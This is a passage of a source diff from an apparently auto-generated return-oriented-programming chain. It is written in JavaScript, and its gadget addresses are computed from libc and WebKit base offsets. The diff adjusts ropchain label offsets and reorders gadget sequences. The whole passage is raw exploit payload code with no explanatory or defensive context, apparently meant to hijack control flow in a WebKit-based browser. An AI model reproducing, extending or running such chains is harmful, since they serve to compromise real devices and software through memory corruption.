@@ -7484,25 +7482,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+109480, //L1145 +ropchain+109464, //L1145 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L1145: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L1144: -db([22, 0]); // 0x16 set_gadget(libc_base+792472,); //pop rcx -//L1146: +//L1144: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L1146: +db([22, 0]); // 0x16 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+109584, //L1147 +ropchain+109568, //L1147 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+109600, //L1148 +ropchain+109584, //L1148 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -7520,7 +7518,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+109688, //L1149 +ropchain+109672, //L1149 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -7530,19 +7528,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+109744, //L1152 +ropchain+109728, //L1151 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1152: +//L1151: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+109816, //L1153 +ropchain+109800, //L1153 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -7552,12 +7550,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+109872, //L1156 +ropchain+109856, //L1155 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1156: +//L1155: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -7569,7 +7567,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+788575, //pop rax //L1157: -webkit_base+7438103, //mov [rsi], rax +webkit_base+4648696, //mov [rsi], rax ; mov al, 1 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -7577,29 +7575,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+110024, //L1160 +ropchain+109992, //L1158 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1158: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L1160: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1159: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+110128, //L1163 +ropchain+110112, //L1163 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+110112, //L1162 +ropchain+110096, //L1161 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1162: +//L1161: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1163: @@ -7607,15 +7605,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+110272, //L1166 +ropchain+110256, //L1166 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+110240, //L1164 +ropchain+110224, //L1164 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+110256, //L1165 +ropchain+110240, //L1165 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -7632,7 +7630,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+110344, //L1167 +ropchain+110328, //L1167 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -7642,12 +7640,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+110400, //L1170 +ropchain+110384, //L1169 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1170: +//L1169: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -7656,25 +7654,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+110480, //L1172 +ropchain+110464, //L1172 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L1172: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L1171: -db([23, 0]); // 0x17 set_gadget(libc_base+792472,); //pop rcx -//L1173: +//L1171: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L1173: +db([23, 0]); // 0x17 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+110584, //L1174 +ropchain+110568, //L1174 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+110600, //L1175 +ropchain+110584, //L1175 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -7692,7 +7690,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+110688, //L1176 +ropchain+110672, //L1176 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -7702,19 +7700,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+110744, //L1179 +ropchain+110728, //L1178 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1179: +//L1178: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+110816, //L1180 +ropchain+110800, //L1180 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -7724,12 +7722,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+110872, //L1183 +ropchain+110856, //L1182 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1183: +//L1182: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -7749,29 +7747,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+111024, //L1187 +ropchain+110992, //L1185 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1185: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L1187: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1186: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+111128, //L1190 +ropchain+111112, //L1190 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+111112, //L1189 +ropchain+111096, //L1188 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1189: +//L1188: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1190: @@ -7779,15 +7777,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+111272, //L1193 +ropchain+111256, //L1193 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+111240, //L1191 +ropchain+111224, //L1191 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+111256, //L1192 +ropchain+111240, //L1192 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -7804,7 +7802,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+111344, //L1194 +ropchain+111328, //L1194 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -7814,12 +7812,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+111400, //L1197 +ropchain+111384, //L1196 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1197: +//L1196: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -7828,25 +7826,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+111480, //L1199 +ropchain+111464, //L1199 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L1199: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L1198: -db([24, 0]); // 0x18 set_gadget(libc_base+792472,); //pop rcx -//L1200: +//L1198: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L1200: +db([24, 0]); // 0x18 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+111584, //L1201 +ropchain+111568, //L1201 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+111600, //L1202 +ropchain+111584, //L1202 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -7864,7 +7862,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+111688, //L1203 +ropchain+111672, //L1203 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -7874,19 +7872,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+111744, //L1206 +ropchain+111728, //L1205 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1206: +//L1205: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+111816, //L1207 +ropchain+111800, //L1207 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -7896,12 +7894,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+111872, //L1210 +ropchain+111856, //L1209 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1210: +//L1209: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -7912,29 +7910,29 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+111976, //L1213 +ropchain+111944, //L1211 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1211: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L1213: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1212: +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+112080, //L1216 +ropchain+112064, //L1216 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+112064, //L1215 +ropchain+112048, //L1214 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1215: +//L1214: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1216: @@ -7942,15 +7940,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+112224, //L1219 +ropchain+112208, //L1219 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+112192, //L1217 +ropchain+112176, //L1217 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+112208, //L1218 +ropchain+112192, //L1218 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -7967,7 +7965,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+112296, //L1220 +ropchain+112280, //L1220 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -7977,12 +7975,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+112352, //L1223 +ropchain+112336, //L1222 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1223: +//L1222: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -7991,25 +7989,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+112432, //L1225 +ropchain+112416, //L1225 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L1225: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L1224: -db([4, 0]); // 0x4 set_gadget(libc_base+792472,); //pop rcx -//L1226: +//L1224: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L1226: +db([2, 0]); // 0x2 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+112536, //L1227 +ropchain+112520, //L1227 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+112552, //L1228 +ropchain+112536, //L1228 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -8027,7 +8025,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+112640, //L1229 +ropchain+112624, //L1229 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -8037,12 +8035,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+112696, //L1232 +ropchain+112680, //L1231 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1232: +//L1231: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -8055,29 +8053,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+112816, //L1235 +ropchain+112784, //L1233 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1233: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L1235: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1234: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+112920, //L1238 +ropchain+112904, //L1238 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+112904, //L1237 +ropchain+112888, //L1236 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1237: +//L1236: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1238: @@ -8085,15 +8083,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+113064, //L1241 +ropchain+113048, //L1241 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+113032, //L1239 +ropchain+113016, //L1239 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+113048, //L1240 +ropchain+113032, //L1240 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -8110,7 +8108,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+113136, //L1242 +ropchain+113120, //L1242 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -8120,12 +8118,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+113192, //L1245 +ropchain+113176, //L1244 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1245: +//L1244: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -8134,25 +8132,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+113272, //L1247 +ropchain+113256, //L1247 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L1247: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L1246: -db([25, 0]); // 0x19 set_gadget(libc_base+792472,); //pop rcx -//L1248: +//L1246: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L1248: +db([25, 0]); // 0x19 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+113376, //L1249 +ropchain+113360, //L1249 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+113392, //L1250 +ropchain+113376, //L1250 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -8170,7 +8168,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+113480, //L1251 +ropchain+113464, //L1251 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -8180,19 +8178,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+113536, //L1254 +ropchain+113520, //L1253 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1254: +//L1253: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+113608, //L1255 +ropchain+113592, //L1255 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -8202,12 +8200,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+113664, //L1258 +ropchain+113648, //L1257 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1258: +//L1257: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -8219,7 +8217,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+788575, //pop rax //L1259: -webkit_base+8975893, //mov [rdi + 0x10], r8 +libc_base+784911, //mov [rdi], r8 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -8227,29 +8225,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+113816, //L1262 +ropchain+113784, //L1260 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1260: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L1262: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1261: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+113920, //L1265 +ropchain+113904, //L1265 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+113904, //L1264 +ropchain+113888, //L1263 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1264: +//L1263: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1265: @@ -8257,15 +8255,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+114064, //L1268 +ropchain+114048, //L1268 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+114032, //L1266 +ropchain+114016, //L1266 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+114048, //L1267 +ropchain+114032, //L1267 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -8282,7 +8280,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+114136, //L1269 +ropchain+114120, //L1269 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -8292,12 +8290,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+114192, //L1272 +ropchain+114176, //L1271 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1272: +//L1271: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -8306,25 +8304,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+114272, //L1274 +ropchain+114256, //L1274 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L1274: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L1273: -db([26, 0]); // 0x1a set_gadget(libc_base+792472,); //pop rcx -//L1275: +//L1273: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L1275: +db([26, 0]); // 0x1a set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+114376, //L1276 +ropchain+114360, //L1276 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+114392, //L1277 +ropchain+114376, //L1277 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -8342,7 +8340,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+114480, //L1278 +ropchain+114464, //L1278 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -8352,19 +8350,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+114536, //L1281 +ropchain+114520, //L1280 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1281: +//L1280: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+114608, //L1282 +ropchain+114592, //L1282 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -8374,12 +8372,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+114664, //L1285 +ropchain+114648, //L1284 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1285: +//L1284: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -8399,29 +8397,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+114816, //L1289 +ropchain+114784, //L1287 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1287: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L1289: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1288: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+114920, //L1292 +ropchain+114904, //L1292 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+114904, //L1291 +ropchain+114888, //L1290 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1291: +//L1290: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1292: @@ -8429,15 +8427,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+115064, //L1295 +ropchain+115048, //L1295 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+115032, //L1293 +ropchain+115016, //L1293 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+115048, //L1294 +ropchain+115032, //L1294 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -8454,7 +8452,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+115136, //L1296 +ropchain+115120, //L1296 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -8464,12 +8462,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+115192, //L1299 +ropchain+115176, //L1298 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1299: +//L1298: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -8478,25 +8476,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+115272, //L1301 +ropchain+115256, //L1301 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L1301: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L1300: -db([27, 0]); // 0x1b set_gadget(libc_base+792472,); //pop rcx -//L1302: +//L1300: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L1302: +db([27, 0]); // 0x1b set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+115376, //L1303 +ropchain+115360, //L1303 webkit_base+7438103, //mov [rsi], rax 